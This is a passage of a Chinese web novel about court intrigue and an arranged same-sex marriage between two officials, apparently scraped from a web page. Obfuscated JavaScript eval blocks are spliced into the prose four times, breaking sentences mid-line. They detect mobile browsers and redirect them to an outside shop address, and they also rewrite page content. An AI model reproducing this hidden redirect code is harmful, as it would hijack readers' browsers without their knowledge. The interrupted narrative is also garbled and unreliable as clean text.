《权奕双璧》 2. 推卸责任 燕修延嘴角噙着一抹似有似无的笑意,不紧不慢地走到自己的位置站定,那姿态从容又自信,仿佛一切都在他的掌控之中。 他微微歪头,目光似笑非笑地落在员外郎李想身上,悠然开口道:“李员外郎,何必摆出那副大义凛然的模样呢?这世上可没有不透风的墙,你那些事儿,我可是清楚得很呐。比如,少贪污受贿。” 李想的脸色瞬间涨得通红,仿佛被人当众狠狠扇了一记耳光。 他怒目圆睁,瞪着燕修延,声音因愤怒而微微颤抖:“燕修延,你休要血口喷人!我一向为官清廉,克己奉公,怎会做出贪污这等下作之事!” 他一边说着,一边挥舞着手臂,仿佛这样就能驱散燕修延话语里的污蔑。 燕修延却不慌不忙,只是轻抬了一下下巴,示意一旁的苏公公。 苏公公立刻会意,上前接过燕修延递来的一本折子,然后迈着小碎步,恭恭敬敬地将折子呈递给虞睿祥。 虞睿祥微微抬手,接过折子,目光立刻专注地落在上面。 随着他一行行地往下看,原本冷峻的脸上,神色愈发阴沉。他的眉头紧紧皱起,眼中闪过一丝寒光,那模样仿佛即将爆发的火山。 终于,虞睿祥猛地将折子扔到李想的脚下,折子在空中划过一道弧线,“啪”的一声落在地上。虞睿祥的声音冰冷如霜,透着毫不掩饰的怒意:“你自己好好看看,这些证据确凿,你还有什么可狡辩的!” 李想的身子猛地一震,脸上的血色瞬间褪尽,变得惨白如纸。 他颤抖着弯下腰,捡起地上的折子,目光扫过上面的内容,只觉得眼前一阵发黑。 折子上详细记录着他贪污受贿的时间、地点、金额,甚至还有相关证人的证词,铁证如山,容不得他半点抵赖。 片刻后,李想的双腿一软,“扑通”一声重重地跪在了地上,身子止不住地颤抖。 他的声音带着哭腔,满是恐惧与哀求:“四皇子恕罪,臣认罪,臣不该包庇罪人。” 虞睿祥微微挑眉,眼中闪过一丝兴味,那声音仿佛裹挟着寒冰:“包庇罪人?” 李想咽了口唾沫,战战兢兢地开口:“是,罪人正是臣的妾室张采茵。” 听到这话,燕修延心中瞬间明白了几分,他不着痕迹地给虞睿祥使了个眼色。 虞睿祥微微点头,算是默许。 燕修延心领神会,微微转头,朝着温泽使了个眼色。 温泽立刻会意,转身快步离去,不一会便带着张采茵走上前来。 张采茵一见到虞睿祥,膝盖一弯,“噗通”一声跪下,眼中满是焦急与不甘,大声辩解道:“四皇子,不是他说的那样,他是为……” 可她的话还没说完,就被李想急切地打断:“怎么不是!是你劝我贪污,我一开始不答应,你便自己动手了。我原本以为你只是贪些小钱,这才睁一只眼闭一只眼,可我万万没想到,你竟然贪污了那么多!” 说完,李想再次俯身,额头贴地,不住地磕头:“四皇子饶命,张氏也是猪油蒙了心,一时糊涂。” 燕修延上前一步,拱手行礼,神色恭敬而沉稳:“依臣看,李员外郎暂且停职,以正视听。至于张氏,就交给臣来审问,定能查明真相,还朝堂、百姓一个公道。” 这时,谢伟恒也上前一步,拱手行礼,声音洪亮而坚定:“陛下,臣愿协助燕大人一起审查此案,定不辜负陛下的信任。” 虞睿祥微微颔首,目光在两人身上扫过,语气平静却不容置疑:“准了。” 话音刚落,几个侍卫便上前,将张氏架起,带了下去。 张氏一边挣扎,一边还在叫嚷着,声音渐渐远去。 虞睿祥缓缓走下龙椅,他的脚步沉稳而有力,每一步都仿佛踏在众人的心上。众大臣见状,纷纷弯腰行礼,齐声高呼:“殿下英明!”声音在朝堂之上回荡,久久不息。 虞睿祥扫视着下方的大臣们,目光如鹰隼般锐利,他开口道:“今日之事,不过是个开端。往后,谁若是敢违法乱纪,不管是谁,我绝不轻饶!这大虞的朝堂,定要风清气正。都记住了!” 众大臣们纷纷低头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646160|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐声应道:“臣等谨记!” 李想拖着沉重且疲惫的步子回到李府,刚踏入大厅,便迎上了王璟妍那洞悉一切的目光。 此刻,王璟妍静静地坐在轮椅上,神色平静,可眼中却透着让人难以捉摸的锐利。 见李想进来,她嘴角微微上扬,扯出一抹意味深长的笑,缓缓开口:“你把张采茵推出去顶罪了?” 李想听到这话,心里“咯噔”一下,脸上却强装镇定,急忙摆手狡辩道:“没有没有,那些事儿本就是她做的,与我何干?我不过是被她蒙蔽了。” 他一边说着,一边眼神闪躲,不敢直视王璟妍的眼睛。 王璟妍见状,只是轻轻笑了笑,那笑声里带着几分嘲讽,又似有一丝狠厉。 “但愿如此吧,希望你能顺利摆脱嫌疑。”说罢,她轻轻抬手,示意嬷嬷把自己推回房间。 轮椅缓缓转动,留下李想一个人站在大厅,神色慌乱,额头上渗出细密的汗珠。 与此同时,大理寺内气氛紧张。 燕修延带着温泽和温瑞大步走向关押张采茵的牢房,就在他伸手准备打开牢门时,傅斯岳突然出现,伸手拦住了他,一脸为难地说道:“燕大人,这不太合适吧。张采茵可是重要嫌犯,按规矩不能随意带走。” 燕修延停下脚步,脸上挂着礼貌的微笑,不紧不慢地解释道:“傅少卿,这可是殿下的旨意,您也别太为难我。我只是带她去问几个关键问题,审完之后,立马给您送回来,绝不耽误事。”说着,他还拍了拍傅斯岳的肩膀,以示安抚。 傅斯岳皱着眉头,一脸无奈,思量片刻后,叹了口气道:“燕大人,我就通融这一回,可最多只能带走两个时辰,时间一到,必须把人送回来。” 燕修延闻言,立刻拱手行礼,满脸感激:“多谢傅少卿通情达理,您放心,我一定准时把人送回。” 说罢,他转头示意温泽和温瑞,两人心领神会,迅速走进牢房,将张采茵架了出来,在傅斯岳担忧的目光中,一行人匆匆离去,只留下空荡荡的牢房和隐隐回荡的脚步声。 3. 给他升职 燕府门前,马车缓缓停下。 燕修延抬手掀开车帘,一只脚刚踏出车厢,燕伯便眼疾手快地迎上前,伸手搀扶,恭敬说道:“少爷,谢大人早已在大厅等候了。” 燕修延微微点头,脸上闪过一丝意外之色,低声喃喃:“来的还挺快。” 步入大厅,燕修延一边解下披风,一边顺手递给管家。 谢伟恒抬眸看到他,眼中也闪过一抹诧异,不禁问道:“你换了衣裳去的?” 燕修延走到主位坐下,提起茶壶,动作娴熟地给谢伟恒和自己杯中斟上茶,语气自然地回应:“深秋时节,难免有些凉意,就换了件稍厚些的衣裳。” 谢伟恒虽心有疑惑,但并未表露出来,只是微微颔首。 随后,燕修延将目光投向地上被捆绑着的张采茵。 温瑞立刻心领神会,端起一旁准备好的一盆冷水,毫不犹豫地泼到张采茵身上。 “哗啦”一声,冷水瞬间浸湿了张采茵的衣衫。 张采茵猛地从昏迷中惊醒,身子下意识地想要站起,却因动作牵动伤口,疼得她龇牙咧嘴,发出一阵痛苦的呻吟。 燕修延微微前倾,目光紧紧锁住张采茵,沉声道:“张采茵,把朝堂上没说完的话说完。” 张采茵缓缓抬起头,发丝湿漉漉地贴在脸上,她冷笑一声,语气带着几分嘲讽:“燕大人、谢大人,您二人神通广大,不会查不到吧。” 谢伟恒闻言,轻轻一笑,从袖间拿出一张叠好的宣纸,递到张采茵面前:“张采茵,李员外郎的字你不会不认识。他回府后,就已将你逐出李府。” 张采茵闻言,眼中闪过一丝慌乱,颤抖着接过纸,展开一看,上面的字迹清晰可辨,正是李想的亲笔。 她瞪大了眼睛,满脸的不可置信,喃喃自语:“不可能,他来见我的时候不是这么说的!” 原来,张采茵被关进大理寺后,李想曾私下前来探望。 昏暗的大牢中,李想紧紧握住张采茵的手,一脸愧疚地说道:“采茵,对不起,我实在没办法才把你推出去的。你放心,只要你认罪,等这事儿过去了,我就把你抬为平妻。” 张采茵当时满心感动,信以为真,可如今看到这逐府令,才如梦初醒。 燕修延见状,忍不住嗤笑一声:“张采茵,李想把你当替罪羊,你居然还傻乎乎地相信他的话。” 张采茵又羞又恼,双手将纸狠狠对折,然后用力撕碎,扔在地上,恶狠狠地说道:“两位大人,既然如此,李府妾室张采茵不堪大理寺的刑法,主动坦白。李府灶房有密道,里面藏有20多箱军器。” 谢伟恒神色一凛,挑眉问道:“挺聪明,给自己的说辞找了个正当理由。不过,你说的这些,我们该怎么信你?” 张采茵立刻跪地,磕头说道:“这简单,我今后就是二位大人的走狗,任凭差遣。” 燕修延微微点头,向燕伯示意。燕伯立刻会意,快步上前,将纸笔恭敬地递到张采茵面前。 燕修延沉声道:“把你所说的,都写下来。” 张采茵接过纸笔,手虽还有些颤抖,但下笔却毫不犹豫,将李想的种种罪行以及背后的关系,一五一十地写在了纸上。 两个时辰转瞬即逝,燕修延带着人匆匆赶回大理寺,脚步急切,神色中带着几分疲惫与无奈。 一进大理寺门,便瞧见傅斯岳正站在堂前等候,燕修延快走几步,朝傅斯岳抱拳道:“傅少卿,人呢我给您带回来了。只是这人嘴硬得很,什么法子都用尽了,她愣是一个字都没吐露。” 傅斯岳神色淡定,不慌不忙地抬起手,轻轻拍了拍燕修延的肩膀,语气沉稳且充满自信:“无妨,落入大理寺的人,还没有撬不开嘴的,总有问出来的时候。” 燕修延长舒一口气,点了点头:“行,既然如此,那我就先走了。” 说罢,燕修延和傅斯岳双双拱手行礼,动作干脆利落。 燕修延转身离开大理寺,来到门口,径直走向自己的马车。 撩开马车的布帘,正准备上车,却被眼前的景象吓了一跳。 只见谢伟恒正悠闲地坐在车内,手里还拿起车内放置的糕点,放进口中,吃得津津有味。 燕修延顿时皱起眉头,满脸疑惑与不满,质问道:“你不在自己的马车上待着,跑我马车上干嘛?还有,不是让你把状纸给殿下吗?你怎么还在这?” 谢伟恒不紧不慢地嚼完口中的糕点,抬手擦了擦嘴角,这才抬眸看向燕修延,语气随意:“殿下让咱俩一块去。” 燕修延听闻,脸上闪过一丝无奈,可又不好违抗殿下的命令,只能叹了口气,弯腰钻进马车。 马车缓缓启动,车轮在石板路上滚动,发出沉闷的声响。 行至途中,道路上突然出现一块不小的石头,拉车的马匹受惊,猛地颠簸了一下。 马车里的燕修延毫无防备,身体瞬间失去平衡,整个人朝着谢伟恒的方向摔了过去,结结实实地栽进了谢伟恒怀里。 燕修延的脸瞬间通红,慌乱之中赶紧用手撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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"张氏的供词,你怎么看?"虞睿祥将案上的密折推过去,朱砂批注在烛火下泛着暗红。 燕修延指尖划过纸页,忽然轻笑出声:"员外郎动不得,那就反其道而行之。" 话音未落,谢伟恒已将温热的茶盏塞进他掌心,氤氲的热气模糊了两人交叠的影子。 "给他升职?"虞睿祥摩挲着腰间玉带,目光在两人身上来回打量。 谢伟恒慢条斯理地整了整袖口:"依臣看,升至侍郎正合适。" 他的声音低沉醇厚,却像淬了毒的蜜糖,看似提拔,实则暗藏杀招。 虞睿祥盯着谢伟恒又一次为燕修延续茶的动作,突然笑出声来:"升侍郎可以,但你们别玩过火。" 说着从紫檀木匣中取出鎏金镶玉的国库钥匙,在烛火下晃了晃,"许修延的承诺。" 燕修延伸手去接钥匙,却被虞睿祥故意抬高。 4. 新年伊始 月色如水,洒在宫墙琉璃瓦上,泛起银白微光。 通往国库的青石板路上,燕修延脚步轻快,墨发在夜风中微微扬起,仿佛还带着养心殿内的烛火余温。 虞睿祥并肩与谢伟恒同行,看着前方那道雀跃身影,心中好奇顿起。 “你看上修延了?别想瞒我。”虞睿祥压低声音,斜睨着谢伟恒,眼中闪过一丝促狭。 谢伟恒身形微顿,墨色长袍在月色下如流动的墨,他轻叹一声:“只怕他心中并无此意。”语气中藏着不易察觉的落寞。 虞睿祥挑眉,嘴角勾起一抹坏笑:“你不试试,怎么知道他不愿意?” 谢伟恒眸光微闪,看向虞睿祥:“那便要看殿下愿不愿意帮微臣一把了。” 虞睿祥拍拍胸脯:“这有何难,定当全力配合!” 两人相视一笑,默契在月色中悄然蔓延。 前方的燕修延,依旧沉浸在即将踏入国库的喜悦中,浑然不知自己已成为这场算计的主角。 待燕修延从国库满载而归,回到燕府时,已是深夜。 府内灯火昏黄,燕修延将鎏金掐丝珐琅香炉和和田玉镇纸小心翼翼放进密室后,目光被一旁的檀木盒子吸引。 他微微皱眉,走上前轻轻打开盒子,一支温润纯玉的簪子静静躺在盒中,羊脂玉的光泽在烛光下柔和而动人。 “燕伯,这簪子我平日没怎么见过,是谁送的?” 燕修延拿起簪子,细细端详,簪头雕刻的兰花栩栩如生,似有淡淡幽香萦绕。 燕伯微微欠身,恭敬道:“少爷,这是谢大人下午来访时让我转交给您的。” 燕修延愣住,喃喃自语:“他送我簪子做什么?” 虞朝一百六十八年的元旦,瑞雪初霁,宫墙红瓦在皑皑白雪的映衬下,更显庄严与肃穆。 虞睿祥登基不过两月,却已雷厉风行地推行了一系列新政:废除陪葬陋习,让无数无辜性命免遭涂炭;擢升李想官职,又赦免张氏,桩桩件件都在朝堂掀起惊涛骇浪。 李府朱漆大门内,仆役们正忙着挂灯笼、贴春联,喜气洋洋的表象下,却藏着几分诡异的寂静。 张采茵褪去牢狱灰衣,换作藕荷色襦裙,她来到主母王璟妍的房内,盈盈下拜:“妾身拜见姐姐。” 王璟妍坐在轮椅上,目光如炬,直逼张采茵:“李想既已将你逐出李府,你为何还要回来?” 张采茵咬唇,眼中闪过一丝坚定:“老爷就是我的天,我怎能离他而去?” 王璟妍怒拍桌子,轮椅微微震动:“你就甘愿做那依附他人的菟丝花?李想绝非良善之辈,你莫要执迷不悟!” 张采茵却似听不进劝,给了王璟妍一个眼神后,转身离去。 王璟妍看着她的背影,微微松了口气,墙后那隐匿的身影也悄然消失。 这一幕,被温泽看在眼里,如实禀报给了燕修延。 燕修延与虞睿祥正于暖阁内闲聊,听闻此事,虞睿祥靠在椅背上,一脸疑惑:“这就完了?” 燕修延拿起一块糕点,放入口中,悠然道:“陛下,着什么急,且慢慢看戏便是。” 话未说完,长公主虞湘晔的声音已从门外传来:“皇兄,你就答应我,让修延当我的驸马吧!” 人未到,声先至,带着几分娇蛮。 燕修延连忙起身行礼:“微臣见过湘晔长公主。” 虞湘晔上前欲扶燕修延,燕修延似早有防备,退后一步。 虞湘晔微恼:“修延哥,我说过多少次,见了本宫无需行礼。” 燕修延却置若罔闻,转而对虞睿祥道:“陛下,你们聊,微臣先退下了。” 虞睿祥扶额,无奈道:“这是你的府邸,你能退到何处去?” 燕修延披上燕伯递来的大氅,挥挥手:“退哪都行。”说罢,转身离去。 虞睿祥望着燕修延的背影,叹道:“不是皇兄不帮你,你也看到了,修延宁可出去受冻,也不愿当驸马。” 虞湘晔轻抿嘴角,狡黠一笑:“我自然知道,不过是配合谢伟恒罢了。” 虞睿祥顿时来了兴致,八卦道:“谢卿给了你什么好处,让你如此配合?” 虞湘晔端起鎏金茶盏轻抿,茶汤映出她眼中笑意虞湘晔:“这是秘密。” 虞睿祥感慨:“他俩若真在一起,修延怕是要被谢伟恒算计得死死的。” 虞湘晔忽地放下茶盏眨眨眼,鬓边珠花随动作轻颤,“皇兄还是操心操心自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646162|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己吧,本宫都二十了,该议亲了!” “胡闹!”虞睿祥作势要敲她脑袋,“你凑什么热闹!”两人笑闹间,窗外寒风卷起细雪。 雪越下越大,鹅毛般的雪花纷纷扬扬,将燕府的长廊装点成一片银白世界。 燕修延立在廊柱旁,寒风如刀割过脖颈,他突然一阵剧烈咳嗽,猛地捂住嘴。 指缝间,殷红的血顺着掌心滴落,染红了脚下的积雪。 燕伯一直在旁小心伺候,见状脸色骤变,忙从袖中掏出一个古朴的小瓷瓶,手微微颤抖着倒出一粒黑褐色药丸:“少爷,快服下!” 燕修延强忍着不适,接过药丸咽下,靠在廊柱上喘息。鲜血顺着指缝滑落,滴在青石板上,触目惊心。 好在这长廊偏僻,纷飞的大雪掩盖了一切动静,未惊动任何人。 燕修延接过燕伯递来的丝帕,擦拭嘴角血迹,声音微弱却透着沉稳:“别声张,等陛下和长公主走后,把柳岚叫来。” 燕伯忙不迭点头,眼中满是担忧。 不知过了多久,虞睿祥和虞湘晔的身影终于消失在回廊尽头。 燕伯匆匆去了,不多时,柳岚一袭黑衣如鬼魅般出现在燕修延面前。 屋内烛火摇曳,燕修延靠在榻上,脸色惨白如纸,唇色泛着青灰。 “最近毒发越来越频繁,你可有办法?”燕修延声音沙哑,修长的手指无意识摩挲着袖口暗纹。 柳岚挑眉,将手中描金小瓷瓶重重搁在檀木几上,瓶身碰撞发出清脆声响:“这个要比之前那个药效好些,这可费了我三年功夫。头儿不打算表示表示?” 燕修延白了她一眼,挣扎着坐直身子,因用力过猛又呛出几声咳嗽:“下个月起,你的月钱翻倍。” 话音未落,柳岚已笑得眉眼弯弯:“爽快!不过丑话说在前头,你要再这么拼命连我都救不了你了。” 燕修延摆手:“知道了知道了,你怎么比我干娘还啰嗦。” 柳岚哼了一声,转身欲走,又突然回头,目光中闪过一丝担忧:“好好养着,别再折腾自己。” 说罢,阔步出门,衣袂带起一阵风,吹得烛火摇晃。 燕修延靠回榻上,望着手中瓷瓶,眸光复杂。 5. 赐婚风波 春节过后,燕修延体内的毒减轻了许多,但身体依旧十分虚弱,整个人昏昏沉沉的。 他坐在马车上,不知为何,心里总是隐隐不安,总感觉有不好的事情即将发生。 马车缓缓在宫门口停下,燕修延强撑着身子,扶着车框艰难地走下来。 就在这时,李想迈步上前,脸上带着挑衅的笑容,说道:“燕大人,我的官阶不但没降,反而提升了,这还得多谢你啊。” 燕修延嘴角扯出一抹皮笑肉不笑的弧度,回应道:“那就恭喜李大人了。” 说完,虞睿祥不想多做纠缠,转身便朝着朝堂方向走去。 朝堂之上,气氛庄重。 谢伟恒将奏折递给苏公公后,上前一步,对着坐在龙椅上的虞睿祥行了个大礼,语气严肃地说道:“陛下,臣要弹劾燕大人,他意图造反!” 此言一出,朝堂瞬间一片哗然。 燕修延神色镇定,挺直身体,问道:“谢大人是怎么看出我意图造反的?” 谢伟恒眼神中带着算计,不紧不慢地说:“燕大人想当驸马,这心思可是人尽皆知了。” 听到这话,虞睿祥心中顿时明白谢伟恒打的什么主意。 还没等燕修延开口反驳,虞湘晔急匆匆地跑进朝堂,“扑通”一声跪下,眼中满是焦急与恳切,对虞睿祥说道:“皇兄,你行行好,我是真的很喜欢燕大人。” 李想见状,也上前一步,对虞睿祥说道:“陛下,此事不妥,长公主乃千金之躯,这要是嫁给燕修延,属于下嫁了。” 虞湘晔气得想要站起来大骂李想,燕修延却先一步开口,毫不客气地怼道:“李大人,你癞蛤蟆跳悬崖——装什么蝙蝠侠,与其在这贬低我,倒不如想想你自己的事。” 虞湘晔也站直身体,态度坚决地说:“就是,本宫的婚事不用外人操心。” 李想被说得哑口无言,只能灰溜溜地站回原来的位置。 谢伟恒却不肯罢休,说道:“陛下,不如先看看奏折再下结论。” 虞睿祥拿起奏折,不过片刻便看完了,随后他佯装生气,将奏折狠狠扔到地上,对燕修延说道:“燕卿,这上面清清楚楚写着。” 燕修延捡起奏折,仔细看完后,冷笑一声,对谢伟恒说:“谢大人脖子上的东西似乎没长全,这分明就是民间的传谣。” 谢伟恒却依旧不依不饶:“燕大人若没做什么,民间也不会传!” 就在双方争执不下之时,虞睿祥突然开口,语气带着几分调侃:“行了行了,两位爱卿自朕登基以来就如此爱吵,那就给两位赐婚,回家吵去。” 燕修延瞪大了眼睛,满脸不可置信,刚想开口反驳,虞睿祥却已经宣布退朝,不给燕修延任何辩解的机会。 随着虞睿祥的离开,朝堂上众人渐渐散去,只留下燕修延站在原地,一脸茫然。 养心殿内,袅袅茶香氤氲。谢伟恒端起白玉茶杯,用茶盖轻轻拂过浮在表面的茶沫,动作优雅从容。 虞睿祥靠在龙椅上,似笑非笑地调侃道:“朕配合得还可以吧?不过修延要是知道你这么算计他,会不会家暴你啊?” 谢伟恒唇角勾起一抹意味深长的笑,放下茶杯道:“陛下还是尽快写圣旨吧,国师借臣一用。” 虞睿祥忍不住笑骂:“行了快去找国师吧,圣旨明天再写。” 看着谢伟恒远去的背影,虞睿祥轻轻摇头,自言自语道:“这婚后修延不得被吃得死死的。” 国师府中,静谧清幽。严瑾川正仰头观望着天象,星盘在他指尖缓缓转动。 听到脚步声,不用回头便知来者何人,头也不回地开口道:“谢大人又怎么算计燕大人了?” 谢伟恒走到他身旁,挑眉道:“狗嘴里吐不出象牙来,既听说了赶紧看看什么时候适合成婚。” 严瑾川停下手中动作,转头戏谑道:“瞧把你急的。”说着,双手掐算,口中念念有词。 不多时,严瑾川停下动作道:“四月二十八,不过这么短时间,提亲、聘礼什么的你能处理得过来?” 谢伟恒自信一笑,眼神中满是势在必得:“这就不用你操心了吧。”话音刚落,便转身离去。 严 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锦鲤似乎察觉到动静,瞬间四散游开,池面涟漪层层荡开。 虞睿祥转身望向池中渐渐平息的水波,语气从容:“你二十有一,早过了成家的年纪。先帝在位时,便有同性成婚的先例,你莫要抗拒。” 他指尖划过冰凉的栏杆,眼神幽深,“朝堂暗潮涌动,朕这也是为你周全。” “不是,陛下!您闹呢?”燕修延额角青筋微跳,“与谢伟恒成婚?这不是将我推入火坑?” “朕再赏你国库里的一件东西如何?” 虞睿祥突然转身,眼中闪过狡黠笑意,“你惦记那柄寒星剑半年了。” 虞睿祥从袖中取出一卷明黄圣旨,缓缓展开,“只要你应下婚事,朕便将它赐你。” 燕修延的目光死死盯着圣旨上蜿蜒的龙纹,喉结微动。 寒星剑乃前朝镇国之宝,削铁如泥,燕修延早就垂涎已久。 他咬了咬牙,最终叹出一口浊气:“陛下倒是会挑时机。” 6. 皇帝是回避问题专业户 晨光初露,京城还笼罩在薄雾之中,一道道圣旨就已从皇宫出发,向着谢、燕两府疾驰而去。 燕府门前,青石板路上落着几片昨夜的残叶,随着微风轻轻晃动。 太监总管苏公公率领一众宫人,手持明黄色圣旨,浩浩荡荡地踏入燕府。 燕修延身着一袭墨色长袍,身姿挺拔地立于庭院中央,神色平静地等待着。 “燕修延接旨!” 苏公公尖细的嗓音在庭院中响起。燕修延迅速跪地,双手高举,神色庄重。 “奉天承运,皇帝诏曰:燕修延战功赫赫,忠义无双,谢伟恒玉树临风,德才兼备。二人实乃天作之合,特赐二人结为连理,择良辰完婚。钦此!” 燕修延恭恭敬敬地接过圣旨,刚想起身,就见苏公公又慢条斯理地拿出另一道圣旨。 “燕修延听旨!寒星剑乃我朝镇国之宝,今燕修延屡立奇功,特将寒星剑赐予燕修延,望其护我江山,保我子民。钦此!” 话音刚落,身后宫娥双手托着寒光闪闪的寒星剑,小心翼翼地走上前来。 燕修延眼中闪过一丝惊喜,郑重地接过寒星剑,单膝跪地,大声道:“谢主隆恩!” 苏公公脸上堆满笑意,上前一步道:“燕大人,恭喜啊!这赐婚又赐剑,可是天大的荣耀!” 燕修延微微躬身,客气道:“谢谢苏公公的祝福。” 待苏公公一行人离开后,燕修延握着圣旨和寒星剑。 另一边,谢府内,气氛凝重。 燕修延大步踏入厅堂,脸色阴沉如暴雨前的乌云,他用力将圣旨重重摔在桌上,震得案几上的茶具都微微晃动,怒声喝道:“谢伟恒!你就不怕我把你谢府搅得鸡犬不宁?” 话音未落,气势汹汹,仿佛下一秒就要掀起一场轩然大波。 谢伟恒不慌不忙地从书卷中抬起头,目光平静如水,嘴角甚至带着一丝若有若无的笑意,淡淡道:“我谢府既不养鸡也不养犬,怎会鸡犬不宁?”他那悠然的神态,与燕修延的暴怒形成鲜明对比。 燕修延被谢伟恒这副淡然的模样彻底激怒,一把抓起桌上的圣旨,狠狠砸向谢伟恒。 纸张划过半空,发出“哗啦”的声响。“你别在那装傻充愣,我这就让陛下收回旨意。” 他怒目圆睁,双手紧握成拳,仿佛全身的血液都在沸腾。 谢伟恒不躲不闪,任由圣旨落在肩头,随后轻轻拿起,缓缓站起身。 他动作轻柔,眼中满是温柔,竟牵起燕修延紧握的拳头,柔声道:“走,我陪你去。” 宫门口的青石板被马车碾出细碎声响,雕花车轮刚停稳,谢伟恒先一步掀开车帘跳下车,月白锦袍的下摆扫过马车踏板的积尘,他转身伸手时,指节还带着几分刻意放缓的温柔。 燕修延却像是被烫到般猛地抽回手,指尖在袖摆下蜷了蜷,眉峰拧成个小结:“我没那么弱不禁风。” 话音未落,玄色劲装的身影已利落地跳下车辕,靴底踩在青石板上发出轻响,他攥着那卷明黄圣旨,转身就往养心殿的方向走,背影绷得像张拉满的弓,连谢伟恒快步跟上的脚步声都没回头应一声。 养心殿门口的铜鹤香炉正袅袅吐着檀香,苏公公老远就瞧见两人身影,手里的浮尘在身侧轻扫着,脸上堆着谨慎的笑:“燕大人和谢大人一同前来,所为何事啊?” 燕修延停下脚步,拱手回礼时指尖还在圣旨边缘摩挲,语气却硬得像块石头:“劳烦苏公公进去通传,我要退婚。” 苏公公吓得浮尘都抖了抖,忙摆手:“哎哟燕大人,这可使不得!陛下正为各地送来的奏折烦忧,您这时候提退婚,岂不是火上浇油?杂家可不敢去触这个霉头啊。” “公公尽管去,”燕修延抬眼时眸子里带着股执拗,“天大的后果,我自己担着。” 苏公公看着他眼里的倔劲,又瞥了眼一旁始终温和浅笑的谢伟恒,终是叹了口气,甩了甩拂尘转身进了殿。 养心殿内,明黄色的帐幔垂在龙椅两侧,虞睿祥正埋首在堆积如山的奏折里,朱砂笔在指间转得飞快。 苏公公刚要屈膝禀报,就被他头也不抬地打断:“苏公公,让他俩进来。再去母后宫里请母后过来,就说该催催立后的事了,顺便让内务府送些新鲜的水果和瓜子,要快。” 苏公公心里打了个转,这哪是催立后,分明是逃避燕大人的退婚啊。 苏公公也不敢多问,领了旨转身就往外走,到了殿外扬声道:“陛下宣二位大人进见!” 燕修延一进殿就“咚”地跪下,将圣旨举过头顶,声音里带着破釜沉舟的决绝:“陛下,臣要退婚!” 虞睿祥这才放下笔,慢悠悠绕过紫檀木长桌,龙纹朝服的衣摆扫过地面,他俯身看着燕修延,指尖在圣旨边缘敲了敲,眼底藏着笑意:“寒星剑不想要了?” 那柄寒星剑是先帝御赐,削铁如泥,是燕修延念叨了半年的宝贝。 可此刻他咬了咬牙,额头抵着冰凉的金砖:“不要了!谢大人玉树临风、德才兼备,臣就是个混不吝,实在高攀不起,求陛下成全退婚。” 谢伟恒忙拱手:“陛下,并非如燕大人所言高攀,是臣……” 话未说完,苏公公的高唱声传来:“太后娘娘驾到——” 两人刚要俯身行礼,太后已扶着宫女的手走进来,金步摇在鬓边轻晃,她摆了摆手:“无需多礼。” 虞睿祥忙单膝跪地:“儿臣给母后请安。” 太后扶起他,目光扫过殿内,语气带着几分嗔怪:“皇帝登基也有些时日了,皇后人选该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646164|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了吧?母后把秀女画像带来了,你瞧瞧。” 燕修延一听“皇后”二字,举着圣旨的手倏地放下,退婚的事早抛到九霄云外。 他拉着谢伟恒就往角落的梨花木椅上坐,还不忘拽了拽对方的衣袖,眼底闪着八卦的光。 谢伟恒顺势和一同坐到殿侧的梨花木椅上,看着太后和皇帝“演戏”。 谢伟恒顺手从宫人刚端来的果盘里拿起个橘子,指尖灵巧地剥着皮,橘瓣的清甜气悄悄漫开。 虞睿祥被太后按在椅子上看画像,他偷偷朝太后挤了挤眼,嘴角动了动:母后,演太过了。 太后却装作没看见,指着一幅画像柔声说:“你看沈丞相的千金沈黎卿,你、延儿和她从小一起长大,知根知底的多好。” 说着眼尾的余光却瞟向谢伟恒,把他剥橘子的动作看得一清二楚。 “你觉得陛下会选谁?”燕修延往谢伟恒身边凑了凑,声音压得低低的。 谢伟恒将剥好的橘瓣递到他嘴边,指尖不经意擦过他的唇角:“按家世才情,沈丞相千金更合适些。” 燕修延张嘴咬住橘瓣,果汁在舌尖炸开,他含糊不清地哼了声:“拉倒吧,陛下小时候没少被她追着打,哪敢娶来当皇后?” 另一边太后正和虞睿祥咬耳朵,声音压得像蚊子哼:“你咋想的?延儿这跳脱性子,你给配个沉稳内敛的?” 虞睿祥叹了口气,声音压得更低:“人家谢卿就看上修延这货了,那能咋办?” 太后手里的画像“啪嗒”一声掉在托盘上,她震惊地瞪圆了眼:“你是说,谢伟恒主动向你请的婚?” 